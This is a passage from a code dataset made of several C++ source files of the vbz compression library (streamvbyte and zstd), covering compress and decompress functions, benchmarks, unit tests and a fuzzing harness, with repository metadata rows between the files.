current_source = make_data_buffer(streamvbyte_dest.data(), compressed_size);
}
if (options->zstd_compression_level == 0)
{
// destination already written to above.
return vbz_size_t(current_source.size());
}
auto compressed_size = ZSTD_compress(
dest_buffer.data(),
vbz_size_t(dest_buffer.size()),
current_source.data(),
vbz_size_t(current_source.size()),
options->zstd_compression_level
);
if (ZSTD_isError(compressed_size))
{
return VBZ_ZSTD_ERROR;
}
return vbz_size_t(compressed_size);
}
vbz_size_t vbz_decompress(
const void* source,
vbz_size_t source_size,
void* destination,
vbz_size_t destination_size,
CompressionOptions const* options)
{
auto current_source = make_data_buffer(source, source_size);
auto dest_buffer = make_data_buffer(destination, destination_size);
// If nothing is enabled, just do a copy between buffers and return.
if (options->zstd_compression_level == 0 && options->integer_size == 0)
{
copy_buffer(current_source, dest_buffer);
return source_size;
}
// optional intermediate buffer - allocated if needed later, but stored for
// duration of call.
std::unique_ptr<void, free_delete> intermediate_storage;
if (options->zstd_compression_level != 0)
{
auto max_zstd_decompressed_size = ZSTD_getFrameContentSize(source, source_size);
if (ZSTD_isError(max_zstd_decompressed_size))
{
return VBZ_ZSTD_ERROR;
}
auto zstd_dest = dest_buffer;
if (options->integer_size != 0)
{
intermediate_storage.reset(malloc(max_zstd_decompressed_size));
zstd_dest = make_data_buffer(intermediate_storage.get(), (vbz_size_t)max_zstd_decompressed_size);
}
else
{
assert(max_zstd_decompressed_size <= destination_size);
}
auto compressed_size = ZSTD_decompress(
zstd_dest.data(),
zstd_dest.size(),
current_source.data(),
current_source.size()
);
if (ZSTD_isError(compressed_size))
{
return VBZ_ZSTD_ERROR;
}
current_source = make_data_buffer(zstd_dest.data(), vbz_size_t(compressed_size));
}
// if streamvbyte is disabled, return early.
if (options->integer_size == 0)
{
return vbz_size_t(current_source.size());
}
auto decompress_fn = vbz_delta_zig_zag_streamvbyte_decompress_v0;
if (options->vbz_version == 1)
{
decompress_fn = vbz_delta_zig_zag_streamvbyte_decompress_v1;
}
else if (options->vbz_version != 0)
{
return VBZ_VERSION_ERROR;
}
return decompress_fn(
current_source.data(),
vbz_size_t(current_source.size()),
dest_buffer.data(),
vbz_size_t(dest_buffer.size()),
options->integer_size,
options->perform_delta_zig_zag
);
}
vbz_size_t vbz_compress_sized(
void const* source,
vbz_size_t source_size,
void* destination,
vbz_size_t destination_capacity,
CompressionOptions const* options)
{
auto dest_buffer = make_data_buffer(destination, destination_capacity);
// Extract header information
auto& dest_header = dest_buffer.subspan(0, sizeof(VbzSizedHeader)).as_span<VbzSizedHeader>()[0];
dest_header.original_size = source_size;
// Compress data info remaining dest buffer
auto dest_compressed_data = dest_buffer.subspan(sizeof(VbzSizedHeader));
auto compressed_size = vbz_compress(
source,
source_size,
dest_compressed_data.data(),
vbz_size_t(dest_compressed_data.size()),
options
);
return compressed_size + sizeof(VbzSizedHeader);
}
vbz_size_t vbz_decompress_sized(
void const* source,
vbz_size_t source_size,
void* destination,
vbz_size_t destination_capacity,
CompressionOptions const* options)
{
auto source_buffer = make_data_buffer(source, source_size);
if (source_buffer.size() < sizeof(VbzSizedHeader))
{
return VBZ_STREAMVBYTE_DESTINATION_SIZE_ERROR;
}
// Extract header information
auto const& source_header = source_buffer.subspan(0, sizeof(VbzSizedHeader)).as_span<VbzSizedHeader const>()[0];
if (destination_capacity < source_header.original_size)
{
return VBZ_STREAMVBYTE_DESTINATION_SIZE_ERROR;
}
// Compress data info remaining dest buffer
auto src_compressed_data = source_buffer.subspan(sizeof(VbzSizedHeader));
return vbz_decompress(
src_compressed_data.data(),
vbz_size_t(src_compressed_data.size()),
destination,
source_header.original_size,
options
);
}
vbz_size_t vbz_decompressed_size(
void const* source,
vbz_size_t source_size,
CompressionOptions const* options)
{
auto source_buffer = make_data_buffer(source, source_size);
auto const& source_header = source_buffer.subspan(0, sizeof(VbzSizedHeader)).as_span<VbzSizedHeader const>()[0];
return source_header.original_size;
}
}
| 9,944
|
C++
|
.cpp
| 292
| 27.386986
| 116
| 0.647269
|
nanoporetech/vbz_compression
| 38
| 10
| 18
|
MPL-2.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,151
|
vbz_perf.cpp
|
nanoporetech_vbz_compression/vbz/perf/vbz_perf.cpp
|
#include "vbz.h"
#include "test_data_generator.h"
#include <benchmark/benchmark.h>
template <typename VbzOptions, typename Generator>
void streamvbyte_compress_benchmark(benchmark::State& state)
{
std::size_t max_element_count = 0;
auto input_value_list = Generator::generate(max_element_count);
auto const int_size = sizeof(typename VbzOptions::IntType);
CompressionOptions options{
VbzOptions::UseZigZag,
int_size,
VbzOptions::ZstdLevel,
VBZ_DEFAULT_VERSION
};
std::vector<char> dest_buffer(vbz_max_compressed_size(vbz_size_t(max_element_count * int_size), &options));
std::size_t item_count = 0;
for (auto _ : state)
{
item_count = 0;
for (auto const& input_values : input_value_list)
{
auto const input_byte_count = input_values.size() * sizeof(input_values[0]);
item_count += input_values.size();
dest_buffer.resize(dest_buffer.capacity());
auto bytes_used = vbz_compress(
input_values.data(),
vbz_size_t(input_byte_count),
dest_buffer.data(),
vbz_size_t(dest_buffer.size()),
&options);
benchmark::DoNotOptimize(bytes_used);
}
}
state.SetItemsProcessed(state.iterations() * item_count);
state.SetBytesProcessed(state.iterations() * item_count * int_size);
}
template <typename VbzOptions, typename Generator>
void streamvbyte_decompress_benchmark(benchmark::State& state)
{
std::size_t max_element_count = 0;
auto input_value_list = Generator::generate(max_element_count);
auto const int_size = sizeof(typename VbzOptions::IntType);
CompressionOptions options{
VbzOptions::UseZigZag,
int_size,
VbzOptions::ZstdLevel
};
std::vector<char> compressed_buffer(vbz_max_compressed_size(vbz_size_t(max_element_count * int_size), &options));
std::vector<char> dest_buffer(max_element_count * int_size);
std::size_t item_count = 0;
for (auto _ : state)
{
item_count = 0;
for (auto const& input_values : input_value_list)
{
state.PauseTiming();
auto const input_byte_count = input_values.size() * sizeof(input_values[0]);
item_count += input_values.size();
compressed_buffer.resize(compressed_buffer.capacity());
dest_buffer.resize(input_byte_count);
auto compressed_used_bytes = vbz_compress(
input_values.data(),
vbz_size_t(input_byte_count),
compressed_buffer.data(),
vbz_size_t(compressed_buffer.size()),
&options
);
state.ResumeTiming();
auto bytes_expanded_to = vbz_decompress(
compressed_buffer.data(),
compressed_used_bytes,
dest_buffer.data(),
vbz_size_t(dest_buffer.size()),
&options
);
assert(bytes_expanded_to == input_byte_count);
benchmark::DoNotOptimize(bytes_expanded_to);
}
}
state.SetItemsProcessed(state.iterations() * item_count);
state.SetBytesProcessed(state.iterations() * item_count * int_size);
}
template <typename _IntType>
struct VbzNoZStd
{
using IntType = _IntType;
static const std::size_t UseZigZag = 1;
static const std::size_t ZstdLevel = 0;
};
template <typename _IntType>
struct VbzZStd
{
using IntType = _IntType;
static const std::size_t UseZigZag = 1;
static const std::size_t ZstdLevel = 1;
};
template <typename CompressionOptions>
void compress_sequence(benchmark::State& state)
{
streamvbyte_compress_benchmark<CompressionOptions, SequenceGenerator<typename CompressionOptions::IntType>>(state);
}
template <typename CompressionOptions>
void compress_random(benchmark::State& state)
{
streamvbyte_compress_benchmark<CompressionOptions, SignalGenerator<typename CompressionOptions::IntType>>(state);
}
template <typename CompressionOptions>
void decompress_sequence(benchmark::State& state)
{
streamvbyte_decompress_benchmark<CompressionOptions, SequenceGenerator<typename CompressionOptions::IntType>>(state);
}
template <typename CompressionOptions>
void decompress_random(benchmark::State& state)
{
streamvbyte_decompress_benchmark<CompressionOptions, SignalGenerator<typename CompressionOptions::IntType>>(state);
}
BENCHMARK_TEMPLATE(compress_sequence, VbzZStd<std::int8_t>);
BENCHMARK_TEMPLATE(compress_sequence, VbzZStd<std::int16_t>);
BENCHMARK_TEMPLATE(compress_sequence, VbzZStd<std::int32_t>);
BENCHMARK_TEMPLATE(compress_sequence, VbzNoZStd<std::int8_t>);
BENCHMARK_TEMPLATE(compress_sequence, VbzNoZStd<std::int16_t>);
BENCHMARK_TEMPLATE(compress_sequence, VbzNoZStd<std::int32_t>);
BENCHMARK_TEMPLATE(compress_random, VbzZStd<std::int8_t>);
BENCHMARK_TEMPLATE(compress_random, VbzZStd<std::int16_t>);
BENCHMARK_TEMPLATE(compress_random, VbzZStd<std::int32_t>);
BENCHMARK_TEMPLATE(compress_random, VbzNoZStd<std::int8_t>);
BENCHMARK_TEMPLATE(compress_random, VbzNoZStd<std::int16_t>);
BENCHMARK_TEMPLATE(compress_random, VbzNoZStd<std::int32_t>);
BENCHMARK_TEMPLATE(decompress_sequence, VbzZStd<std::int8_t>);
BENCHMARK_TEMPLATE(decompress_sequence, VbzZStd<std::int16_t>);
BENCHMARK_TEMPLATE(decompress_sequence, VbzZStd<std::int32_t>);
BENCHMARK_TEMPLATE(decompress_sequence, VbzNoZStd<std::int8_t>);
BENCHMARK_TEMPLATE(decompress_sequence, VbzNoZStd<std::int16_t>);
BENCHMARK_TEMPLATE(decompress_sequence, VbzNoZStd<std::int32_t>);
BENCHMARK_TEMPLATE(decompress_random, VbzZStd<std::int8_t>);
BENCHMARK_TEMPLATE(decompress_random, VbzZStd<std::int16_t>);
BENCHMARK_TEMPLATE(decompress_random, VbzZStd<std::int32_t>);
BENCHMARK_TEMPLATE(decompress_random, VbzNoZStd<std::int8_t>);
BENCHMARK_TEMPLATE(decompress_random, VbzNoZStd<std::int16_t>);
BENCHMARK_TEMPLATE(decompress_random, VbzNoZStd<std::int32_t>);
// Run the benchmark
BENCHMARK_MAIN();
| 6,067
|
C++
|
.cpp
| 143
| 36.055944
| 121
| 0.701024
|
nanoporetech/vbz_compression
| 38
| 10
| 18
|
MPL-2.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,152
|
vbz_test.cpp
|
nanoporetech_vbz_compression/vbz/test/vbz_test.cpp
|
#include <cstddef>
#include <iostream>
#include <numeric>
#include <random>
#include "vbz.h"
#include "test_utils.h"
#include "test_data.h"
#include <catch2/catch.hpp>
template <typename T>
void perform_compression_test(
std::vector<T> const& data,
CompressionOptions const& options)
{
auto const input_data_size = vbz_size_t(data.size() * sizeof(data[0]));
std::vector<int8_t> dest_buffer(vbz_max_compressed_size(input_data_size, &options));
auto final_byte_count = vbz_compress(
data.data(),
input_data_size,
dest_buffer.data(),
vbz_size_t(dest_buffer.size()),
&options);
REQUIRE(!vbz_is_error(final_byte_count));
dest_buffer.resize(final_byte_count);
std::vector<int8_t> decompressed_bytes(input_data_size);
auto decompressed_byte_count = vbz_decompress(
dest_buffer.data(),
vbz_size_t(dest_buffer.size()),
decompressed_bytes.data(),
vbz_size_t(decompressed_bytes.size()),
&options
);
REQUIRE(!vbz_is_error(decompressed_byte_count));
decompressed_bytes.resize(decompressed_byte_count);
auto decompressed = gsl::make_span(decompressed_bytes).as_span<T>();
//INFO("Original " << dump_explicit<std::int64_t>(data));
//INFO("Decompressed " << dump_explicit<std::int64_t>(decompressed));
CHECK(decompressed == gsl::make_span(data));
}
template <typename T>
void run_compression_test_suite()
{
GIVEN("Simple data to compress with no delta-zig-zag")
{
std::vector<T> simple_data(100);
std::iota(simple_data.begin(), simple_data.end(), 0);
CompressionOptions simple_options{
false, // no delta zig zag
sizeof(T),
1,
VBZ_DEFAULT_VERSION
};
perform_compression_test(simple_data, simple_options);
}
GIVEN("Simple data to compress and applying delta zig zag")
{
std::vector<T> simple_data(100);
std::iota(simple_data.begin(), simple_data.end(), 0);
CompressionOptions simple_options{
true,
sizeof(T),
1,
VBZ_DEFAULT_VERSION
};
perform_compression_test(simple_data, simple_options);
}
GIVEN("Simple data to compress with delta-zig-zag and no zstd")
{
std::vector<T> simple_data(100);
std::iota(simple_data.begin(), simple_data.end(), 0);
CompressionOptions simple_options{
true,
sizeof(T),
0,
VBZ_DEFAULT_VERSION
};
perform_compression_test(simple_data, simple_options);
}
GIVEN("Random data to compress")
{
std::vector<T> random_data(10 * 1000);
auto seed = std::random_device()();
INFO("Seed " << seed);
std::default_random_engine rand(seed);
// std::uniform_int_distribution<std::int8_t> has issues on some platforms - always use 32 bit engine
std::uniform_int_distribution<std::int32_t> dist(std::numeric_limits<T>::min(), std::numeric_limits<T>::max());
for (auto& e : random_data)
{
e = dist(rand);
}
WHEN("Compressing with no delta zig zag")
{
CompressionOptions options{
false,
sizeof(T),
1,
VBZ_DEFAULT_VERSION
};
perform_compression_test(random_data, options);
}
WHEN("Compressing with delta zig zag")
{
CompressionOptions options{
true,
sizeof(T),
0,
VBZ_DEFAULT_VERSION
};
perform_compression_test(random_data, options);
}
WHEN("Compressing with zstd and delta zig zag")
{
CompressionOptions options{
true,
sizeof(T),
1,
VBZ_DEFAULT_VERSION
};
perform_compression_test(random_data, options);
}
}
}
struct InputStruct
{
std::uint32_t size = 100;
unsigned char keys[25] = {
0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff,
};
};
SCENARIO("vbz int8 encoding")
{
run_compression_test_suite<std::int8_t>();
}
SCENARIO("vbz int16 encoding")
{
run_compression_test_suite<std::int16_t>();
}
SCENARIO("vbz int32 encoding")
{
run_compression_test_suite<std::int32_t>();
}
SCENARIO("vbz int32 known input data")
{
GIVEN("A known input data set")
{
std::vector<std::int32_t> simple_data{ 5, 4, 3, 2, 1 };
WHEN("Compressed without zstd, with delta zig-zag")
{
CompressionOptions simple_options{
true,
sizeof(simple_data[0]),
0,
VBZ_DEFAULT_VERSION
};
THEN("Data compresses/decompresses as expected")
{
perform_compression_test(simple_data, simple_options);
}
AND_WHEN("Checking compressed data")
{
auto const input_data_size = vbz_size_t(simple_data.size() * sizeof(simple_data[0]));
std::vector<int8_t> dest_buffer(vbz_max_compressed_size(input_data_size, &simple_options));
auto final_byte_count = vbz_compress(
simple_data.data(),
input_data_size,
dest_buffer.data(),
vbz_size_t(dest_buffer.size()),
&simple_options);
dest_buffer.resize(final_byte_count);
std::vector<int8_t> expected{ 0, 0, 10, 1, 1, 1, 1, };
INFO("Compressed " << dump_explicit<std::int64_t>(dest_buffer));
INFO("Decompressed " << dump_explicit<std::int64_t>(expected));
CHECK(dest_buffer == expected);
}
}
WHEN("Compressed with zstd and delta zig-zag")
{
CompressionOptions simple_options{
true,
sizeof(simple_data[0]),
100,
VBZ_DEFAULT_VERSION
};
THEN("Data compresses/decompresses as expected")
{
perform_compression_test(simple_data, simple_options);
}
AND_WHEN("Checking compressed data")
{
auto const input_data_size = vbz_size_t(simple_data.size() * sizeof(simple_data[0]));
std::vector<int8_t> dest_buffer(vbz_max_compressed_size(input_data_size, &simple_options));
auto final_byte_count = vbz_compress(
simple_data.data(),
input_data_size,
dest_buffer.data(),
vbz_size_t(dest_buffer.size()),
&simple_options);
dest_buffer.resize(final_byte_count);
std::vector<int8_t> expected{ 40, -75, 47, -3, 32, 7, 57, 0, 0, 0, 0, 10, 1, 1, 1, 1, };
INFO("Compressed " << dump_explicit<std::int64_t>(dest_buffer));
INFO("Decompressed " << dump_explicit<std::int64_t>(expected));
CHECK(dest_buffer == expected);
}
}
}
}
SCENARIO("vbz int16 known input large data")
{
GIVEN("Test data from a realistic dataset")
{
WHEN("Compressing with zig-zag deltas")
{
CompressionOptions options{
true,
sizeof(test_data[0]),
0,
VBZ_DEFAULT_VERSION
};
perform_compression_test(test_data, options);
}
WHEN("Compressing with zstd")
{
CompressionOptions options{
true,
sizeof(test_data[0]),
1,
VBZ_DEFAULT_VERSION
};
perform_compression_test(test_data, options);
}
WHEN("Compressing with no options")
{
CompressionOptions options{
false,
1,
0,
VBZ_DEFAULT_VERSION
};
perform_compression_test(test_data, options);
}
}
}
SCENARIO("vbz sized compression")
{
GIVEN("A known input data set")
{
std::vector<std::int32_t> simple_data{ 5, 4, 3, 2, 1 };
WHEN("Compressed without zstd, with delta zig-zag")
{
CompressionOptions simple_options{
true,
sizeof(simple_data[0]),
0,
VBZ_DEFAULT_VERSION
};
WHEN("Compressing data")
{
auto const input_data_size = vbz_size_t(simple_data.size() * sizeof(simple_data[0]));
std::vector<int8_t> compressed_buffer(vbz_max_compressed_size(input_data_size, &simple_options));
auto final_byte_count = vbz_compress_sized(
simple_data.data(),
input_data_size,
compressed_buffer.data(),
vbz_size_t(compressed_buffer.size()),
&simple_options);
compressed_buffer.resize(final_byte_count);
THEN("Data is compressed correctly")
{
std::vector<int8_t> expected{ 20, 0, 0, 0, 0, 0, 10, 1, 1, 1, 1, };
INFO("Compressed " << dump_explicit<std::int64_t>(compressed_buffer));
INFO("Decompressed " << dump_explicit<std::int64_t>(expected));
CHECK(compressed_buffer == expected);
}
AND_WHEN("Decompressing data")
{
std::vector<std::int8_t> dest_buffer(
vbz_decompressed_size(compressed_buffer.data(),
vbz_size_t(compressed_buffer.size()),
&simple_options)
);
CHECK(dest_buffer.size() == input_data_size);
auto final_byte_count = vbz_decompress_sized(
compressed_buffer.data(),
vbz_size_t(compressed_buffer.size()),
dest_buffer.data(),
vbz_size_t(dest_buffer.size()),
&simple_options);
CHECK(final_byte_count == input_data_size);
CHECK(gsl::make_span(dest_buffer).as_span<std::int32_t>() == gsl::make_span(simple_data));
}
}
}
}
}
| 11,092
|
C++
|
.cpp
| 297
| 24.545455
| 119
| 0.528685
|
nanoporetech/vbz_compression
| 38
| 10
| 18
|
MPL-2.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,153
|
streamvbyte_test.cpp
|
nanoporetech_vbz_compression/vbz/test/streamvbyte_test.cpp
|
#include "v0/vbz_streamvbyte.h"
#include "v1/vbz_streamvbyte.h"
#include "vbz.h"
#include "test_utils.h"
#include <numeric>
#include <random>
#include <catch2/catch.hpp>
struct StreamVByteFunctions
{
using SizeFn = decltype(vbz_max_streamvbyte_compressed_size_v0)*;
using CompressFn = decltype(vbz_delta_zig_zag_streamvbyte_compress_v0)*;
using DecompressFn = decltype(vbz_delta_zig_zag_streamvbyte_decompress_v0)*;
StreamVByteFunctions(
SizeFn _size,
CompressFn _compress,
DecompressFn _decompress
)
: size(_size)
, compress(_compress)
, decompress(_decompress)
{
}
SizeFn size;
CompressFn compress;
DecompressFn decompress;
};
StreamVByteFunctions const v0_functions{
vbz_max_streamvbyte_compressed_size_v0,
vbz_delta_zig_zag_streamvbyte_compress_v0,
vbz_delta_zig_zag_streamvbyte_decompress_v0
};
StreamVByteFunctions const v1_functions{
vbz_max_streamvbyte_compressed_size_v1,
vbz_delta_zig_zag_streamvbyte_compress_v1,
vbz_delta_zig_zag_streamvbyte_decompress_v1
};
template <typename T>
void perform_streamvbyte_compression_test(
StreamVByteFunctions fns,
std::vector<T> const& data,
bool use_delta_zig_zag)
{
INFO("Original " << dump_explicit<std::int64_t>(data));
auto const integer_size = sizeof(T);
auto const input_byte_count = data.size() * integer_size;
std::vector<std::int8_t> dest_buffer(fns.size(integer_size, vbz_size_t(input_byte_count)));
auto final_byte_count = fns.compress(
data.data(),
vbz_size_t(data.size() * sizeof(data[0])),
dest_buffer.data(),
vbz_size_t(dest_buffer.size()),
integer_size,
use_delta_zig_zag);
if (vbz_is_error(final_byte_count))
{
FAIL("Got error from vbz_delta_zig_zag_streamvbyte_compress");
return;
}
dest_buffer.resize(final_byte_count);
std::vector<int8_t> decompressed_bytes(data.size() * sizeof(data[0]));
auto decompressed_byte_count = fns.decompress(
dest_buffer.data(),
vbz_size_t(dest_buffer.size()),
decompressed_bytes.data(),
vbz_size_t(decompressed_bytes.size()),
integer_size,
use_delta_zig_zag
);
INFO("decompressed_bytes " << dump_explicit<std::int64_t>(decompressed_bytes));
if (vbz_is_error(decompressed_byte_count))
{
FAIL("Got error from vbz_delta_zig_zag_streamvbyte_decompress");
return;
}
decompressed_bytes.resize(decompressed_byte_count);
auto decompressed = gsl::make_span(decompressed_bytes).as_span<T>();
INFO("decompressed " << dump_explicit<std::int64_t>(decompressed));
THEN("Data is filtered and recovered correctly")
{
CHECK(decompressed == gsl::make_span(data));
}
}
template <typename T>
void run_streamvbyte_compression_test_suite(StreamVByteFunctions fns)
{
GIVEN("Simple data to compress")
{
std::vector<T> simple_data(100);
std::iota(simple_data.begin(), simple_data.end(), 0);
WHEN("Compressing with no delta zig zag")
{
perform_streamvbyte_compression_test(fns, simple_data, false);
}
WHEN("Compressing with delta zig zag")
{
perform_streamvbyte_compression_test(fns, simple_data, true);
}
}
GIVEN("Random data to compress")
{
std::vector<T> random_data(1000 * 1000);
auto seed = std::random_device()();
INFO("Seed " << seed);
std::default_random_engine rand(seed);
// std::uniform_int_distribution<std::int8_t> has issues on some platforms - always use 32 bit engine
std::uniform_int_distribution<std::int64_t> dist(std::numeric_limits<T>::min()/2, std::numeric_limits<T>::max()/2);
for (auto& e : random_data)
{
e = T(dist(rand));
}
WHEN("Compressing data")
{
perform_streamvbyte_compression_test(fns, random_data, std::is_signed<T>::value);
}
}
}
template <typename T> void perform_int_compressed_value_test(
StreamVByteFunctions const& fns,
std::vector<T> const& input_values,
bool perform_zig_zag,
std::vector<std::int8_t> const& expected_compressed)
{
GIVEN("A known set of input signed values")
{
WHEN("Compressing/decompressing the values")
{
perform_streamvbyte_compression_test(fns, input_values, true);
perform_streamvbyte_compression_test(fns, input_values, false);
}
AND_WHEN("Compressing the values with delta zig zag")
{
std::vector<int8_t> dest_buffer(100);
auto final_byte_count = fns.compress(
input_values.data(),
vbz_size_t(input_values.size() * sizeof(input_values[0])),
dest_buffer.data(),
vbz_size_t(dest_buffer.size()),
sizeof(input_values[0]),
perform_zig_zag);
dest_buffer.resize(final_byte_count);
THEN("The values are as expected")
{
INFO("Compressed " << dump_explicit<std::int64_t>(dest_buffer));
INFO("Expected " << dump_explicit<std::int64_t>(expected_compressed));
CHECK(expected_compressed == dest_buffer);
}
}
}
}
SCENARIO("streamvbyte int8 encoding")
{
run_streamvbyte_compression_test_suite<std::int8_t>(v0_functions);
}
SCENARIO("streamvbyte int16 encoding")
{
run_streamvbyte_compression_test_suite<std::int16_t>(v0_functions);
}
SCENARIO("streamvbyte int32 encoding")
{
run_streamvbyte_compression_test_suite<std::int32_t>(v0_functions);
}
SCENARIO("streamvbyte uint8 encoding")
{
run_streamvbyte_compression_test_suite<std::uint8_t>(v0_functions);
}
SCENARIO("streamvbyte uint16 encoding")
{
run_streamvbyte_compression_test_suite<std::uint16_t>(v0_functions);
}
SCENARIO("streamvbyte uint32 encoding")
{
run_streamvbyte_compression_test_suite<std::uint32_t>(v0_functions);
}
SCENARIO("streamvbyte int16 encoding with known values.")
{
GIVEN("signed types functions")
{
std::vector<std::int16_t> const input_values{ 0, -1, 4, -9, 16, -25, 36, -49, 64, -81, 100 };
GIVEN("v0 functions")
{
std::vector<int8_t> compressed_values_v0{ 0, 0, 20, 0, 1, 10, 25, 50, 81, 122, -87, -30, 33, 1, 106, 1 };
perform_int_compressed_value_test(v0_functions, input_values, true, compressed_values_v0);
}
GIVEN("v1 functions")
{
std::vector<int8_t> compressed_values_v1{ 0, 0, 20, 0, 1, 10, 25, 50, 81, 122, -87, -30, 33, 1, 106, 1, };
perform_int_compressed_value_test(v1_functions, input_values, true, compressed_values_v1);
}
}
GIVEN("unsigned signed types functions")
{
std::vector<std::uint16_t> input_values{ 0, 1, 4, 9, 16, 25, 36, 49, 64, 81, 100 };
GIVEN("v0 functions")
{
std::vector<int8_t> compressed_values_v0{ 0, 0, 0, 0, 1, 4, 9, 16, 25, 36, 49, 64, 81, 100 };
perform_int_compressed_value_test(v0_functions, input_values, false, compressed_values_v0);
}
GIVEN("v1 functions")
{
std::vector<int8_t> compressed_values_v1{ 0, 0, 0, 0, 1, 4, 9, 16, 25, 36, 49, 64, 81, 100 };
perform_int_compressed_value_test(v1_functions, input_values, false, compressed_values_v1);
}
}
}
| 7,559
|
C++
|
.cpp
| 204
| 29.906863
| 123
| 0.637343
|
nanoporetech/vbz_compression
| 38
| 10
| 18
|
MPL-2.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,154
|
vbz_fuzz.cpp
|
nanoporetech_vbz_compression/vbz/fuzzing/vbz_fuzz.cpp
|
#include <vbz.h>
#include <cstddef>
#include <cstdint>
#include <fstream>
#include <iostream>
#include <utility>
#include <vector>
#define DEBUG_LOGGING 0
template <typename... Args>
void debug_log(Args&&... args)
{
#if DEBUG_LOGGING
using expander = int[];
(void)expander{0, (void(std::cout << std::forward<Args>(args)), 0)...};
std::cout << std::endl;
#endif
}
void run_vbz_test(const uint8_t* data, size_t size, CompressionOptions const& options)
{
// Try to compress random input data
{
auto max_size = vbz_max_compressed_size((vbz_size_t)size, &options);
if (vbz_is_error(max_size))
{
debug_log("compress: Error in size ", vbz_error_string(max_size));
max_size = size * 100; // make up a max value...
}
auto compressed = std::vector<char>(max_size);
// run both sized and non-sized methods.
auto compressed_size = vbz_compress_sized(data, size, compressed.data(), max_size, &options);
if (vbz_is_error(compressed_size))
{
debug_log("compress_sized: Error in compressed_size", vbz_error_string(compressed_size));
}
else
{
debug_log("compress_sized: Compressed to ", compressed_size, " bytes");
compressed.resize(compressed_size);
}
compressed_size = vbz_compress(data, size, compressed.data(), max_size, &options);
if (vbz_is_error(compressed_size))
{
debug_log("compress: Error in compressed_size", vbz_error_string(compressed_size));
}
else
{
debug_log("compress: Compressed to ", compressed_size, " bytes");
compressed.resize(compressed_size);
}
auto decompressed = std::vector<char>(size);
auto decompressed_size = vbz_decompress(compressed.data(), compressed.size(), decompressed.data(), size, &options);
if (vbz_is_error(decompressed_size))
{
debug_log("compress_sized: Error in decompressed_size ", vbz_error_string(decompressed_size));
}
else
{
debug_log("compress_sized: Decompressed to ", decompressed_size, " bytes");
}
decompressed_size = vbz_decompress_sized(compressed.data(), compressed.size(), decompressed.data(), size, &options);
if (vbz_is_error(decompressed_size))
{
debug_log("compress: Error in decompressed_size ", vbz_error_string(decompressed_size));
}
else
{
debug_log("compress: Decompressed to ", decompressed_size, " bytes");
}
}
// Try to decompress random input data...
{
auto const guess_destination_size = std::max(std::size_t(1024), size * 100);
auto decompress_dest = std::vector<char>(guess_destination_size);
// try both sized and non-sized methods.
auto decompressed_size = vbz_decompress(data, size, decompress_dest.data(), guess_destination_size, &options);
if (vbz_is_error(decompressed_size))
{
debug_log("decompress_sized: Error in decompressed_size ", vbz_error_string(decompressed_size));
}
decompressed_size = vbz_decompress_sized(data, size, decompress_dest.data(), guess_destination_size, &options);
if (vbz_is_error(decompressed_size))
{
debug_log("decompress: Error in decompressed_size ", vbz_error_string(decompressed_size));
}
}
}
extern "C" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size)
{
debug_log("Begin with ", size, " bytes");
// Run with zstd
run_vbz_test(data, size, CompressionOptions{ true, 2, 1, VBZ_DEFAULT_VERSION });
// Run without zstd
run_vbz_test(data, size, CompressionOptions{ true, 2, 0, VBZ_DEFAULT_VERSION });
return 0;
}
| 3,829
|
C++
|
.cpp
| 95
| 32.863158
| 124
| 0.627757
|
nanoporetech/vbz_compression
| 38
| 10
| 18
|
MPL-2.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,155
|
vbz_streamvbyte.cpp
|
nanoporetech_vbz_compression/vbz/v0/vbz_streamvbyte.cpp
|
#include "vbz_streamvbyte.h"
#include "vbz_streamvbyte_impl.h"
#include "vbz.h"
#include <gsl/gsl-lite.hpp>
vbz_size_t vbz_max_streamvbyte_compressed_size_v0(
std::size_t integer_size,
vbz_size_t source_size)
{
if (source_size % integer_size != 0)
{
return VBZ_STREAMVBYTE_INPUT_SIZE_ERROR;
}
auto int_count = source_size / integer_size;
return vbz_size_t(streamvbyte_max_compressedbytes(std::uint32_t(int_count)));
}
vbz_size_t vbz_delta_zig_zag_streamvbyte_compress_v0(
void const* source,
vbz_size_t source_size,
void* destination,
vbz_size_t destination_capacity,
int integer_size,
bool use_delta_zig_zag_encoding)
{
if (source_size % integer_size != 0)
{
return VBZ_STREAMVBYTE_INPUT_SIZE_ERROR;
}
auto const input_span = gsl::make_span(static_cast<char const*>(source), source_size);
auto const output_span = gsl::make_span(static_cast<char*>(destination), destination_capacity);
switch(integer_size) {
case 1: {
if (use_delta_zig_zag_encoding) {
return StreamVByteWorkerV0<std::int8_t, true>::compress(input_span, output_span);
}
else {
return StreamVByteWorkerV0<std::int8_t, false>::compress(input_span, output_span);
}
}
case 2: {
if (use_delta_zig_zag_encoding) {
return StreamVByteWorkerV0<std::int16_t, true>::compress(input_span, output_span);
}
else {
return StreamVByteWorkerV0<std::int16_t, false>::compress(input_span, output_span);
}
}
case 4: {
if (use_delta_zig_zag_encoding) {
return StreamVByteWorkerV0<std::int32_t, true>::compress(input_span, output_span);
}
else {
return StreamVByteWorkerV0<std::int32_t, false>::compress(input_span, output_span);
}
}
default:
return VBZ_STREAMVBYTE_INTEGER_SIZE_ERROR;
}
}
vbz_size_t vbz_delta_zig_zag_streamvbyte_decompress_v0(
void const* source,
vbz_size_t source_size,
void* destination,
vbz_size_t destination_size,
int integer_size,
bool use_delta_zig_zag_encoding)
{
if (destination_size % integer_size != 0)
{
return VBZ_STREAMVBYTE_DESTINATION_SIZE_ERROR;
}
auto const input_span = gsl::make_span(static_cast<char const*>(source), source_size);
auto const output_span = gsl::make_span(static_cast<char*>(destination), destination_size);
switch(integer_size) {
case 1: {
if (use_delta_zig_zag_encoding) {
return StreamVByteWorkerV0<std::int8_t, true>::decompress(input_span, output_span);
}
else {
